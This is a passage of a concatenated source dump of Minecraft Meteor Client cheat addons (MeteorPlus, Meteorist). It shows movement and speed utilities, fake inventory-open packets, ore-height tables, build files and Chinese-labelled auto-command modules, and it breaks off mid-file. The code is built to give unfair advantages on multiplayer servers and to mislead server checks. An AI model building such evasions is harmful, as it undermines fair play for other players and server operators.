| 15 | return new String(data, 0, idx); 16 | } 17 | 18 | } 19 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/utils/CustomSpeedUtils.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.utils; 2 | 3 | import meteordevelopment.meteorclient.events.entity.player.PlayerMoveEvent; 4 | import meteordevelopment.meteorclient.mixininterface.IVec3d; 5 | import meteordevelopment.meteorclient.systems.modules.Modules; 6 | import meteordevelopment.meteorclient.systems.modules.movement.Anchor; 7 | import meteordevelopment.meteorclient.utils.player.PlayerUtils; 8 | import net.minecraft.entity.effect.StatusEffects; 9 | import net.minecraft.util.math.Vec3d; 10 | 11 | import static meteordevelopment.meteorclient.MeteorClient.mc; 12 | 13 | public class CustomSpeedUtils { 14 | public static void applySpeed(PlayerMoveEvent event, double speed) { 15 | Vec3d vel = PlayerUtils.getHorizontalVelocity(speed); 16 | double velX = vel.getX(); 17 | double velZ = vel.getZ(); 18 | 19 | if (mc.player.hasStatusEffect(StatusEffects.SPEED)) { 20 | double value = (mc.player.getStatusEffect(StatusEffects.SPEED).getAmplifier() + 1) * 0.205; 21 | velX += velX * value; 22 | velZ += velZ * value; 23 | } 24 | 25 | Anchor anchor = Modules.get().get(Anchor.class); 26 | if (anchor.isActive() && anchor.controlMovement) { 27 | velX = anchor.deltaX; 28 | velZ = anchor.deltaZ; 29 | } 30 | 31 | ((IVec3d) event.movement).set(velX, event.movement.y, velZ); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/utils/ElytraUtils.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.utils; 2 | 3 | import net.minecraft.client.MinecraftClient; 4 | import net.minecraft.network.packet.c2s.play.ClientCommandC2SPacket; 5 | import net.minecraft.network.packet.c2s.play.CloseHandledScreenC2SPacket; 6 | 7 | import static meteordevelopment.meteorclient.MeteorClient.mc; 8 | 9 | public class ElytraUtils { 10 | public static void startFly() { 11 | if (mc.player != null && mc.player.networkHandler != null) { 12 | mc.player.networkHandler.sendPacket(new ClientCommandC2SPacket(mc.player, ClientCommandC2SPacket.Mode.START_FALL_FLYING)); 13 | 14 | } 15 | } 16 | 17 | public static void fakeInventoryOpen(boolean open) { 18 | if (mc.player != null && mc.player.networkHandler != null) { 19 | if (open) 20 | mc.player.networkHandler.sendPacket(new ClientCommandC2SPacket(mc.player, ClientCommandC2SPacket.Mode.OPEN_INVENTORY)); 21 | else 22 | mc.player.networkHandler.sendPacket(new CloseHandledScreenC2SPacket(0)); 23 | } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/utils/GenerationBlock.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.utils; 2 | 3 | import meteordevelopment.meteorclient.utils.world.Dimension; 4 | import net.minecraft.block.Block; 5 | import net.minecraft.block.Blocks; 6 | 7 | public class GenerationBlock { 8 | public int min_height; 9 | public int max_height; 10 | 11 | public Dimension dimension; 12 | 13 | public Block block; 14 | 15 | public GenerationBlock(Block block, Dimension dimension, int min_height, int max_height) { 16 | this.block = block; 17 | this.min_height = min_height; 18 | this.max_height = max_height; 19 | this.dimension = dimension; 20 | } 21 | 22 | public static GenerationBlock getGenerationBlock(Block block, boolean newGeneration) { 23 | if (block == Blocks.ANCIENT_DEBRIS) { 24 | return new GenerationBlock(block, Dimension.Nether, 8, 22); 25 | } 26 | else if (block == Blocks.DIAMOND_ORE || block == Blocks.DEEPSLATE_DIAMOND_ORE) { 27 | if (newGeneration) { 28 | return new GenerationBlock(block, Dimension.Overworld, -64, 15); 29 | } 30 | else { 31 | return new GenerationBlock(block, Dimension.Overworld, 1, 15); 32 | } 33 | } 34 | else if (block == Blocks.GOLD_ORE || block == Blocks.DEEPSLATE_GOLD_ORE) { 35 | if (newGeneration) { 36 | return new GenerationBlock(block, Dimension.Overworld, -16, 112); 37 | } 38 | else { 39 | return new GenerationBlock(block, Dimension.Overworld, 1, 32); 40 | } 41 | } 42 | else if (block == Blocks.IRON_ORE || block == Blocks.DEEPSLATE_IRON_ORE) { 43 | if (newGeneration) { 44 | return new GenerationBlock(block, Dimension.Overworld, -16, 48); 45 | } 46 | else { 47 | return new GenerationBlock(block, Dimension.Overworld, 1, 63 ); 48 | } 49 | } 50 | else if (block == Blocks.LAPIS_ORE || block == Blocks.DEEPSLATE_LAPIS_ORE) { 51 | if (newGeneration) { 52 | return new GenerationBlock(block, Dimension.Overworld, -64, 64); 53 | } 54 | else { 55 | return new GenerationBlock(block, Dimension.Overworld, 1, 31); 56 | } 57 | } 58 | else if (block == Blocks.REDSTONE_ORE || block == Blocks.DEEPSLATE_REDSTONE_ORE) { 59 | if (newGeneration) { 60 | return new GenerationBlock(block, Dimension.Overworld, -64, 8); 61 | } 62 | else { 63 | return new GenerationBlock(block, Dimension.Overworld, 1, 15); 64 | } 65 | } 66 | else if (block == Blocks.COAL_ORE || block == Blocks.DEEPSLATE_COAL_ORE) { 67 | if (newGeneration) { 68 | return new GenerationBlock(block, Dimension.Overworld, 0, 80); 69 | } 70 | else { 71 | return new GenerationBlock(block, Dimension.Overworld, 1, 114); 72 | } 73 | } 74 | return null; 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/utils/MovementUtils.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.utils; 2 | 3 | import static meteordevelopment.meteorclient.MeteorClient.mc; 4 | 5 | public class MovementUtils { 6 | public static double getSpeed() { 7 | return Math.sqrt(mc.player.getVelocity().x * mc.player.getVelocity().x + mc.player.getVelocity().z * mc.player.getVelocity().z); 8 | } 9 | public static void strafe(float speed) { 10 | double yaw = direction(); 11 | double sin = -Math.sin(yaw) * speed; 12 | double cos = Math.cos(yaw) * speed; 13 | mc.player.getVelocity().add(cos, 0, sin); 14 | } 15 | public static void strafe(double speed) { 16 | double yaw = direction(); 17 | double sin = -Math.sin(yaw) * speed; 18 | double cos = Math.cos(yaw) * speed; 19 | mc.player.getVelocity().add(cos, 0, sin); 20 | } 21 | public static double direction() { 22 | float yaw = mc.player.getYaw(); 23 | if (mc.player.input.movementForward < 0) yaw += 180; 24 | float forward = 1; 25 | if (mc.player.input.movementForward < 0) forward -= 0.5; else if (mc.player.input.movementForward > 0) forward += 0.5; 26 | if (mc.player.input.movementSideways > 0) yaw -= 90 * forward; 27 | if (mc.player.input.movementSideways < 0) yaw += 90 * forward; 28 | return Math.toRadians(yaw); 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/utils/NumeralUtils.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.utils; 2 | 3 | public class NumeralUtils { 4 | public static String FormatNumber(long count) { 5 | if (count < 1000) return "" + count; 6 | int exp = (int) (Math.log(count) / Math.log(1000)); 7 | return String.format("%.1f %c", count / Math.pow(1000, exp),"kMGTPE".charAt(exp-1)); 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/utils/RandomString.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.utils; 2 | 3 | import java.security.SecureRandom; 4 | import java.util.Locale; 5 | import java.util.Objects; 6 | import java.util.Random; 7 | 8 | public class RandomString { 9 | 10 | /** 11 | * Generate a random string. 12 | */ 13 | public String nextString() { 14 | for (int idx = 0; idx < buf.length; ++idx) 15 | buf[idx] = symbols[random.nextInt(symbols.length)]; 16 | return new String(buf); 17 | } 18 | 19 | public static final String upper = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; 20 | 21 | public static final String lower = upper.toLowerCase(Locale.ROOT); 22 | 23 | public static final String digits = "0123456789"; 24 | 25 | public static final String alphanum = upper + lower + digits; 26 | 27 | private final Random random; 28 | 29 | private final char[] symbols; 30 | 31 | private final char[] buf; 32 | 33 | public RandomString(int length, Random random, String symbols) { 34 | if (length < 1) throw new IllegalArgumentException(); 35 | if (symbols.length() < 2) throw new IllegalArgumentException(); 36 | this.random = Objects.requireNonNull(random); 37 | this.symbols = symbols.toCharArray(); 38 | this.buf = new char[length]; 39 | } 40 | 41 | /** 42 | * Create an alphanumeric string generator. 43 | */ 44 | public RandomString(int length, Random random) { 45 | this(length, random, alphanum); 46 | } 47 | 48 | /** 49 | * Create an alphanumeric strings from a secure generator. 50 | */ 51 | public RandomString(int length) { 52 | this(length, new SecureRandom()); 53 | } 54 | 55 | /** 56 | * Create session identifiers. 57 | */ 58 | public RandomString() { 59 | this(21); 60 | } 61 | 62 | } 63 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/utils/algoritms/PerlinNoice.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.utils.algoritms; 2 | 3 | import nekiplay.meteorplus.utils.Perlin2D; 4 | 5 | import java.util.Random; 6 | 7 | public class PerlinNoice { 8 | public static int PerlinNoice(int multiply) { 9 | Perlin2D perlin = new Perlin2D(new Random().nextInt()); 10 | float Phi = 0.70710678118f; 11 | float noice = perlin.Noise(5, 5) + perlin.Noise((25 - 25) * Phi, (25 + 25) * Phi) * -1; 12 | return (int) (noice * multiply); 13 | } 14 | public static int PerlinNoice(double multiply) { 15 | Perlin2D perlin = new Perlin2D(new Random().nextInt()); 16 | float Phi = 0.70710678118f; 17 | float noice = perlin.Noise(5, 5) + perlin.Noise((25 - 25) * Phi, (25 + 25) * Phi) * -1; 18 | return (int) (noice * multiply); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/utils/algoritms/RandomUtils.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.utils.algoritms; 2 | 3 | import java.util.concurrent.ThreadLocalRandom; 4 | 5 | public class RandomUtils { 6 | public static float nextFloat(float min, float max) { 7 | if (max <= min) return max; 8 | else return ThreadLocalRandom.current().nextFloat(min, max); 9 | } 10 | public static int nextInt(int min, int max) { 11 | if (max <= min) return max; 12 | else return ThreadLocalRandom.current().nextInt(min, max); 13 | } 14 | public static double nextDouble(double min, double max) { 15 | if (max <= min) return max; 16 | else return ThreadLocalRandom.current().nextDouble(min, max); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/java/nekiplay/meteorplus/utils/algoritms/Smooth.java: -------------------------------------------------------------------------------- 1 | package nekiplay.meteorplus.utils.algoritms; 2 | 3 | public class Smooth { 4 | public static double getDouble(SmoothType type, double diffAngle, double minRotation, double maxRotation) { 5 | double speeds = 180; 6 | if (type == SmoothType.Linear) { 7 | speeds = (diffAngle / 180 * maxRotation + (1 - diffAngle / 180) * minRotation); 8 | } else if (type == SmoothType.Quad) { 9 | speeds = Math.pow((diffAngle / 180), 2.0) * maxRotation + (1 - Math.pow((diffAngle / 180), 2.0)) * minRotation; 10 | } else if (type == SmoothType.Sine || type == SmoothType.QuadSine) { 11 | final double v = -Math.cos(diffAngle / 180 * Math.PI) * 0.5 + 0.5; 12 | if (type == SmoothType.Sine) { 13 | speeds = v * maxRotation + (Math.cos((diffAngle / 180 * Math.PI) * 0.5 + 0.5) * 0.5 + 0.5) * minRotation; 14 | } else { 15 | speeds = Math.pow(v, 2.0) * maxRotation + (1 - Math.pow(v, 2.0)) * minRotation; 16 | } 17 | } 18 | else if (type == SmoothType.Perlin) { 19 | int noice = PerlinNoice.PerlinNoice(maxRotation); 20 | if (noice > 0) { 21 | speeds = noice; 22 | } 23 | else { 24 | speeds = maxRotation; 25 | } 26 | } 27 | else if (type == SmoothType.PerlinRandom) { 28 | double random = RandomUtils.nextDouble(minRotation, maxRotation); 29 | int noice = PerlinNoice.PerlinNoice(random); 30 | if (noice > 0) { 31 | speeds = noice; 32 | } 33 | else { 34 | speeds = random; 35 | } 36 | } 37 | return speeds; 38 | } 39 | 40 | public enum SmoothType { 41 | None, 42 | Linear, 43 | Quad, 44 | Sine, 45 | QuadSine, 46 | Perlin, 47 | PerlinRandom, 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/resources/assets/meteorplus/icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unbrraise/Meteor-Client-addons-CH/8541a6d5e30d5f13c55e4484682d6693aac2ca82/MeteorPlus-1.20.2/src/main/resources/assets/meteorplus/icon.png -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/resources/assets/meteorplus/lang/en_us.json: -------------------------------------------------------------------------------- 1 | { 2 | "gui.world_map.baritone_goal_here": "Baritone Goal Here", 3 | "gui.world_map.baritone_path_here": "Baritone Path Here", 4 | "gui.world_map.baritone_elytra_here": "Baritone Elytra Here" 5 | } 6 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/resources/assets/meteorplus/lang/ru_ru.json: -------------------------------------------------------------------------------- 1 | { 2 | "gui.world_map.baritone_goal_here": "Baritone Цель тут", 3 | "gui.world_map.baritone_path_here": "Baritone Путь тут", 4 | "gui.world_map.baritone_elytra_here": "Baritone Элитра тут" 5 | } 6 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/resources/assets/meteorplus/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unbrraise/Meteor-Client-addons-CH/8541a6d5e30d5f13c55e4484682d6693aac2ca82/MeteorPlus-1.20.2/src/main/resources/assets/meteorplus/logo.png -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/resources/fabric.mod.json: -------------------------------------------------------------------------------- 1 | { 2 | "schemaVersion": 1, 3 | "id": "meteorplus", 4 | "version": "${version}", 5 | "name": "Meteor Plus", 6 | "description": "An addon for Meteor client that adds many blatant features.", 7 | "authors": [ 8 | "Neki_play" 9 | ], 10 | "contact": { 11 | "homepage": "https://github.com/Nekiplay/MeteorPlus", 12 | "issues": "https://github.com/Nekiplay/MeteorPlus/issues", 13 | "sources": "https://github.com/Nekiplay/MeteorPlus", 14 | "discord": "https://www.guilded.gg/i/27dAlJKk" 15 | }, 16 | 17 | "license": "GPL-3.0", 18 | "icon": "assets/meteorplus/icon.png", 19 | "environment": "*", 20 | "entrypoints": { 21 | "meteor": [ 22 | "nekiplay.meteorplus.MeteorPlus" 23 | ], 24 | "journeymap": [ 25 | "nekiplay.meteorplus.modules.integrations.journeymap.JourneyMapMeteorPlus" 26 | ] 27 | }, 28 | "mixins": [ 29 | "meteor-plus.mixins.json", 30 | "meteor-plus-journeymap.mixins.json", 31 | "meteor-plus-xaeroworldmap.mixins.json" 32 | ], 33 | "accessWidener": "meteor-plus.accesswidener", 34 | "custom": { 35 | "meteor-client:color": "0,181,73", 36 | "github:sha": "${gh_hash}" 37 | }, 38 | "depends": { 39 | "java": ">=17", 40 | "minecraft": ">=${mc_version}", 41 | "meteor-client": "*" 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/resources/meteor-plus-journeymap.mixins.json: -------------------------------------------------------------------------------- 1 | { 2 | "required": false, 3 | "package": "nekiplay.meteorplus.mixin.journeymap", 4 | "compatibilityLevel": "JAVA_17", 5 | "plugin": "nekiplay.meteorplus.MixinPlugin", 6 | "client": [ 7 | "WaypointManagerItemMixin" 8 | ], 9 | "injectors": { 10 | "defaultRequire": 1 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/resources/meteor-plus-xaeroworldmap.mixins.json: -------------------------------------------------------------------------------- 1 | { 2 | "required": false, 3 | "package": "nekiplay.meteorplus.mixin.xaero.worldmap", 4 | "compatibilityLevel": "JAVA_17", 5 | "plugin": "nekiplay.meteorplus.MixinPlugin", 6 | "client": [ 7 | "WaypointRendererMixin", 8 | "GuiMapMixin", 9 | "MapPixelAccessor" 10 | ], 11 | "injectors": { 12 | "defaultRequire": 1 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/resources/meteor-plus.accesswidener: -------------------------------------------------------------------------------- 1 | accessWidener v1 named 2 | 3 | accessible method net/minecraft/entity/passive/AbstractHorseEntity canBreed ()Z 4 | -------------------------------------------------------------------------------- /MeteorPlus-1.20.2/src/main/resources/meteor-plus.mixins.json: -------------------------------------------------------------------------------- 1 | { 2 | "required": true, 3 | "package": "nekiplay.meteorplus.mixin", 4 | "compatibilityLevel": "JAVA_17", 5 | "plugin": "nekiplay.meteorplus.MixinPlugin", 6 | "client": [ 7 | "meteorclient.AutoToolMixin", 8 | "meteorclient.ESPMixin", 9 | "meteorclient.FontsMixin", 10 | "meteorclient.FreecamMixin", 11 | "meteorclient.KillAuraMixin", 12 | "meteorclient.LeftRightSettingsScreenMixin", 13 | "meteorclient.ModuleMixin", 14 | "meteorclient.ModulesScreenMixin", 15 | "meteorclient.TracersMixin", 16 | "meteorclient.WaypointsModuleMixin", 17 | "meteorclient.WMeteorModuleMixin", 18 | "meteorclient.WPressableMixin", 19 | "meteorclient.ItemHighlightMixin", 20 | "meteorclient.InventoryTweaksMixin", 21 | "minecraft.ClientPlayerInteractionManagerMixin", 22 | "minecraft.MinecraftClientMixin", 23 | "minecraft.MobSpawnerBlockEntityAccessor", 24 | "minecraft.MobSpawnerLogicAccessor" 25 | ], 26 | "injectors": { 27 | "defaultRequire": 1 28 | }, 29 | "mixins": [ 30 | "meteorclient.DefaultSettingsWidgetFactoryMixin" 31 | ] 32 | } 33 | -------------------------------------------------------------------------------- /Meteorist-1.7/.github/ISSUE_TEMPLATE/bug.yml: -------------------------------------------------------------------------------- 1 | name: Bug 2 | description: Report a bug. 3 | title: '[Bug] ' 4 | labels: bug 5 | body: 6 | 7 | - type: textarea 8 | id: description 9 | attributes: 10 | label: Describe the bug 11 | description: | 12 | Provide as much information as possible, videos, crash reports, etc. 13 | validations: 14 | required: true 15 | - type: textarea 16 | id: reproducing 17 | attributes: 18 | label: Steps to reproduce 19 | description: How do you trigger this bug? 20 | render: bash 21 | validations: 22 | required: true 23 | - type: input 24 | id: mod-version 25 | attributes: 26 | label: Meteorist Version 27 | validations: 28 | required: true 29 | - type: input 30 | id: mc-version 31 | attributes: 32 | label: Minecraft Version 33 | validations: 34 | required: true 35 | - type: dropdown 36 | id: operating-systems 37 | attributes: 38 | label: Operating System 39 | options: 40 | - macOS 41 | - Windows 42 | - Linux 43 | validations: 44 | required: true 45 | - type: checkboxes 46 | id: prerequisites 47 | attributes: 48 | label: Before submitting a bug report 49 | options: 50 | - label: | 51 | This bug wasn't already reported. 52 | required: true 53 | - label: | 54 | This is a valid bug. 55 | required: true 56 | -------------------------------------------------------------------------------- /Meteorist-1.7/.github/ISSUE_TEMPLATE/suggestion.yml: -------------------------------------------------------------------------------- 1 | name: Suggestion 2 | description: Suggest a feature for this mod. 3 | title: '[Suggestion] ' 4 | labels: enhancement 5 | body: 6 | - type: textarea 7 | id: description 8 | attributes: 9 | label: Description 10 | description: Description of what feature you want to see. 11 | validations: 12 | required: true 13 | - type: checkboxes 14 | id: prerequisites 15 | attributes: 16 | label: Before submitting a suggestion 17 | options: 18 | - label: | 19 | This feature doesn't already exist. 20 | required: true 21 | - label: | 22 | This wasn't already suggested. 23 | required: true 24 | -------------------------------------------------------------------------------- /Meteorist-1.7/.gitignore: -------------------------------------------------------------------------------- 1 | # gradle 2 | 3 | .gradle/ 4 | build/ 5 | out/ 6 | classes/ 7 | 8 | # eclipse 9 | 10 | *.launch 11 | 12 | # idea 13 | 14 | .idea/ 15 | *.iml 16 | *.ipr 17 | *.iws 18 | 19 | # vscode 20 | 21 | .settings/ 22 | .vscode/ 23 | bin/ 24 | .classpath 25 | .project 26 | 27 | # macos 28 | 29 | *.DS_Store 30 | 31 | # fabric 32 | 33 | run/ 34 | -------------------------------------------------------------------------------- /Meteorist-1.7/build.gradle: -------------------------------------------------------------------------------- 1 | plugins { 2 | id "fabric-loom" version "1.2-SNAPSHOT" 3 | id "maven-publish" 4 | } 5 | 6 | sourceCompatibility = targetCompatibility = JavaVersion.VERSION_17 7 | version = project.mod_version 8 | 9 | repositories { 10 | maven { 11 | name = "Meteor Dev Releases" 12 | url = "https://maven.meteordev.org/releases" 13 | } 14 | maven { 15 | name = "Meteor Dev Snapshots" 16 | url = "https://maven.meteordev.org/snapshots" 17 | } 18 | } 19 | 20 | dependencies { 21 | // Fabric 22 | minecraft "com.mojang:minecraft:${project.minecraft_version}" 23 | mappings "net.fabricmc:yarn:${project.yarn_mappings}" 24 | modImplementation "net.fabricmc:fabric-loader:${project.loader_version}" 25 | 26 | // Meteor 27 | modImplementation "meteordevelopment:meteor-client:${project.meteor_version}" 28 | 29 | // Baritone 30 | modImplementation "baritone:fabric:${project.baritone_version}" 31 | } 32 | 33 | processResources { 34 | filesMatching("fabric.mod.json") { 35 | expand "version": project.version, "mc_version": project.minecraft_version 36 | } 37 | } 38 | 39 | tasks.withType(JavaCompile).configureEach { 40 | it.options.encoding("UTF-8") 41 | } 42 | -------------------------------------------------------------------------------- /Meteorist-1.7/gradle.properties: -------------------------------------------------------------------------------- 1 | org.gradle.jvmargs=-Xmx2G 2 | 3 | # Fabric Properties (https://fabricmc.net/versions.html) 4 | minecraft_version=1.20.2 5 | yarn_mappings=1.20.2+build.4 6 | loader_version=0.14.23 7 | 8 | # Mod Properties 9 | mod_version=1.7 10 | maven_group=zgoly 11 | archives_base_name=meteorist 12 | 13 | # Meteor (https://maven.meteordev.org/) 14 | meteor_version=0.5.5-SNAPSHOT 15 | 16 | # Baritone (https://maven.meteordev.org/#/snapshots/baritone/fabric) 17 | baritone_version=1.20.2-SNAPSHOT -------------------------------------------------------------------------------- /Meteorist-1.7/gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/unbrraise/Meteor-Client-addons-CH/8541a6d5e30d5f13c55e4484682d6693aac2ca82/Meteorist-1.7/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /Meteorist-1.7/gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionBase=GRADLE_USER_HOME 2 | distributionPath=wrapper/dists 3 | distributionUrl=https://mirrors.cloud.tencent.com/gradle/gradle-8.1.1-bin.zip 4 | networkTimeout=10000 5 | zipStoreBase=GRADLE_USER_HOME 6 | zipStorePath=wrapper/dists 7 | -------------------------------------------------------------------------------- /Meteorist-1.7/settings.gradle: -------------------------------------------------------------------------------- 1 | pluginManagement { 2 | repositories { 3 | maven { 4 | name = 'Fabric' 5 | url = 'https://maven.fabricmc.net/' 6 | } 7 | mavenCentral() 8 | gradlePluginPortal() 9 | } 10 | } -------------------------------------------------------------------------------- /Meteorist-1.7/src/main/java/zgoly/meteorist/commands/Coordinates.java: -------------------------------------------------------------------------------- 1 | package zgoly.meteorist.commands; 2 | 3 | import com.mojang.brigadier.builder.LiteralArgumentBuilder; 4 | import meteordevelopment.meteorclient.commands.Command; 5 | import net.minecraft.command.CommandSource; 6 | import net.minecraft.util.math.BlockPos; 7 | 8 | import static com.mojang.brigadier.Command.SINGLE_SUCCESS; 9 | import static meteordevelopment.meteorclient.MeteorClient.mc; 10 | 11 | public class Coordinates extends Command { 12 | public Coordinates() { 13 | super("coordinates", "Copies your coordinates to the clipboard.", "coords", "position", "pos"); 14 | } 15 | 16 | @Override 17 | public void build(LiteralArgumentBuilder builder) { 18 | builder.executes(context -> CopyPos()); 19 | builder.then(literal("copy").executes(context -> CopyPos())); 20 | builder.then(literal("share-in-chat").executes(context -> { 21 | mc.getNetworkHandler().sendChatMessage("Coordinates: " + getPos()); 22 | return SINGLE_SUCCESS; 23 | })); 24 | } 25 | private String getPos() { 26 | BlockPos pos = mc.player.getBlockPos(); 27 | return pos.getX() + ", " + pos.getY() + ", " + pos.getZ(); 28 | } 29 | 30 | private int CopyPos() { 31 | mc.keyboard.setClipboard(getPos()); 32 | info("Coordinates successfully copied to the clipboard"); 33 | return SINGLE_SUCCESS; 34 | } 35 | } -------------------------------------------------------------------------------- /Meteorist-1.7/src/main/java/zgoly/meteorist/modules/AutoFeed.java: -------------------------------------------------------------------------------- 1 | package zgoly.meteorist.modules; 2 | 3 | import meteordevelopment.meteorclient.events.world.TickEvent; 4 | import meteordevelopment.meteorclient.settings.IntSetting; 5 | import meteordevelopment.meteorclient.settings.Setting; 6 | import meteordevelopment.meteorclient.settings.SettingGroup; 7 | import meteordevelopment.meteorclient.settings.StringSetting; 8 | import meteordevelopment.meteorclient.systems.modules.Module; 9 | import meteordevelopment.meteorclient.utils.player.ChatUtils; 10 | import meteordevelopment.orbit.EventHandler; 11 | import zgoly.meteorist.Meteorist; 12 | 13 | public class AutoFeed extends Module { 14 | private final SettingGroup sgGeneral = settings.getDefaultGroup(); 15 | 16 | private final Setting feedCommand = sgGeneral.add(new StringSetting.Builder() 17 | .name("充饥命令") 18 | .description("补满饥饿条的命令") 19 | .defaultValue("/feed") 20 | .build() 21 | ); 22 | 23 | private final Setting hungerLevel = sgGeneral.add(new IntSetting.Builder() 24 | .name("饥饿值") 25 | .description("发送命令的饥饿值") 26 | .defaultValue(12) 27 | .min(1) 28 | .sliderRange(1, 20) 29 | .build() 30 | ); 31 | 32 | private final Setting delay = sgGeneral.add(new IntSetting.Builder() 33 | .name("延迟") 34 | .description("发送命令后的延迟时间,以刻为单位(20刻 = 1秒)") 35 | .defaultValue(20) 36 | .min(1) 37 | .sliderRange(1, 40) 38 | .build() 39 | ); 40 | 41 | private int timer; 42 | 43 | public AutoFeed() { 44 | super(Meteorist.CATEGORY, "饥饿发送命令", "当饥饿值较低时在聊天中写入命令"); 45 | } 46 | 47 | @Override 48 | public void onActivate() { 49 | timer = 0; 50 | } 51 | 52 | @EventHandler 53 | private void onTick(TickEvent.Post event) { 54 | if (timer >= delay.get() && mc.player.getHungerManager().getFoodLevel() <= hungerLevel.get()) { 55 | ChatUtils.sendPlayerMsg(feedCommand.get()); 56 | timer = 0; 57 | } else timer ++; 58 | } 59 | } -------------------------------------------------------------------------------- /Meteorist-1.7/src/main/java/zgoly/meteorist/modules/AutoHeal.java: -------------------------------------------------------------------------------- 1 | package zgoly.meteorist.modules; 2 | 3 | import meteordevelopment.meteorclient.events.world.TickEvent; 4 | import meteordevelopment.meteorclient.settings.IntSetting; 5 | import meteordevelopment.meteorclient.settings.Setting; 6 | import meteordevelopment.meteorclient.settings.SettingGroup; 7 | import meteordevelopment.meteorclient.settings.StringSetting; 8 | import meteordevelopment.meteorclient.systems.modules.Module; 9 | import meteordevelopment.meteorclient.utils.player.ChatUtils; 10 | import meteordevelopment.orbit.EventHandler; 11 | import zgoly.meteorist.Meteorist; 12 | 13 | public class AutoHeal extends Module { 14 | private final SettingGroup sgGeneral = settings.getDefaultGroup(); 15 | 16 | private final Setting healCommand = sgGeneral.add(new StringSetting.Builder() 17 | .name("补血命令") 18 | .description("补满生命值条的命令") 19 | .defaultValue("/heal") 20 | .build() 21 | ); 22 | 23 | private final Setting healthLevel = sgGeneral.add(new IntSetting.Builder() 24 | .name("生命值") 25 | .description("发送命令的生命值") 26 | .defaultValue(10) 27 | .min(1) 28 | .sliderRange(1, 20) 29 | .build() 30 | ); 31 | 32 | private final Setting delay = sgGeneral.add(new IntSetting.Builder() 33 | .name("延迟") 34 | .description("发送命令后的延迟时间,以刻为单位(20刻 = 1秒)") 35 | .defaultValue(20) 36 | .min(1) 37 | .sliderRange(1, 40) 38 | .build() 39 | ); 40 | 41 | private int timer; 42 | 43 | public AutoHeal() { 44 | super(Meteorist.CATEGORY, "生命低发送命令", "当生命值较低时在聊天中写入命令"); 45 | } 46 | 47 | @Override 48 | public void onActivate() { 49 | timer = 0; 50 | } 51 | 52 | @EventHandler 53 | private void onTick(TickEvent.Post event) { 54 | if (timer >= delay.get() && mc.player.getHealth() <= healthLevel.get()) { 55 | ChatUtils.sendPlayerMsg(healCommand.get()); 56 | timer = 0; 57 | } else timer ++; 58 | } 59 | } -------------------------------------------------------------------------------- /Meteorist-1.7/src/main/java/zgoly/meteorist/modules/AutoLogin.java: -------------------------------------------------------------------------------- 1 | package zgoly.meteorist.modules; 2 | 3 | import meteordevelopment.meteorclient.events.game.GameLeftEvent; 4 | import meteordevelopment.meteorclient.events.world.TickEvent; 5 | import meteordevelopment.meteorclient.settings.*; 6 | import meteordevelopment.meteorclient.systems.modules.Module; 7 | import meteordevelopment.meteorclient.utils.player.ChatUtils; 8 | import meteordevelopment.orbit.EventHandler; 9 | import zgoly.meteorist.Meteorist; 10 | 11 | public class AutoLogin extends Module { 12 | private final SettingGroup sgGeneral = settings.getDefaultGroup(); 13 | 14 | private final Setting loginCommand = sgGeneral.add(new StringSetting.Builder() 15 | .name("登录命令") 16 | .description("登录命令") 17 | .defaultValue("/login 1234") 18 | .build() 19 | ); 20 | 21 | private final Setting serverOnly = sgGeneral.add(new BoolSetting.Builder() 22 | .name("仅服务器") 23 | .description("仅在服务器上使用自动登录") 24 | .defaultValue(true) 25 | .build() 26 | ); 27 | 28 | private final Setting delay = sgGeneral.add(new IntSetting.Builder() 29 | .name("延迟") 30 | .description("发送命令后的延迟时间,以刻为单位(20刻 = 1秒)") 31 | .defaultValue(20) 32 | .min(1) 33 | .sliderRange(1, 40) 34 | .build() 35 | ); 36 | 37 | boolean work; 38 | private int timer; 39 | 40 | public AutoLogin() { 41 | super(Meteorist.CATEGORY, "自动登录", "自动登录您的账户"); 42 | } 43 | 44 | @Override 45 | public void onActivate() { 46 | timer = 0; 47 | work = true; 48 | } 49 | 50 | @EventHandler 51 | private void onTick(TickEvent.Post event) { 52 | if (serverOnly.get() && mc.getServer() != null && mc.getServer().isSingleplayer()) return; 53 | if (timer >= delay.get() && 